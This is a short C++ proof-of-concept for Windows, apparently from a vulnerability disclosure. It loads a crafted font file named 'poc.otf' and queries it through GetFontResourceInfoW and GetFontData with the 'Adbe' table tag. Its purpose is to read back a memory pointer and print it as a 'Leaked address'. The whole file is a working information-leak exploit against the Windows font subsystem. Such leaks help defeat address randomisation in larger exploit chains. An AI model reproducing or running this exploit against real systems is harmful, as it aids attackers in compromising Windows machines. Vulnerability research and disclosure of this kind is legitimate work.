#include <windows.h>
|
#include <cstdio>
|
#include <cstdlib>
|
|
extern "C" BOOL WINAPI GetFontResourceInfoW(LPCWSTR, LPDWORD, LPVOID, DWORD);
|
|
VOID UnloadFont(PWCHAR path) {
|
while (RemoveFontResource(path)) {}
|
}
|
|
int main() {
|
int st = 1;
|
HFONT hfont = NULL;
|
HDC hdc = NULL;
|
|
if (AddFontResource(L"poc.otf") <= 0) {
|
printf("AddFontResource failed.\n");
|
goto exit;
|
}
|
|
LOGFONTW logfont;
|
DWORD cbBuffer = sizeof(logfont);
|
if (!GetFontResourceInfoW(L"poc.otf", &cbBuffer, &logfont, 2)) {
|
printf("GetFontResourceInfoW failed.\n");
|
goto exit;
|
}
|
|
hfont = CreateFontIndirectW(&logfont);
|
if (hfont == NULL) {
|
printf("CreateFontIndirectW failed.\n");
|
goto exit;
|
}
|
|
hdc = CreateCompatibleDC(NULL);
|
if (hdc == NULL) {
|
printf("CreateCompatibleDC failed.\n");
|
goto exit;
|
}
|
|
SelectObject(hdc, hfont);
|
|
PVOID address;
|
if (GetFontData(hdc, 'ebdA', 0, &address, sizeof(address)) != sizeof(address)) {
|
printf("GetFontData failed.\n");
|
goto exit;
|
}
|
|
printf("Leaked address: %p\n", address);
|
st = 0;
|
|
exit:
|
if (hdc != NULL) {
|
DeleteDC(hdc);
|
}
|
if (hfont != NULL) {
|
DeleteObject(hfont);
|
}
|
UnloadFont(L"poc.otf");
|
|
return st;
|
}
|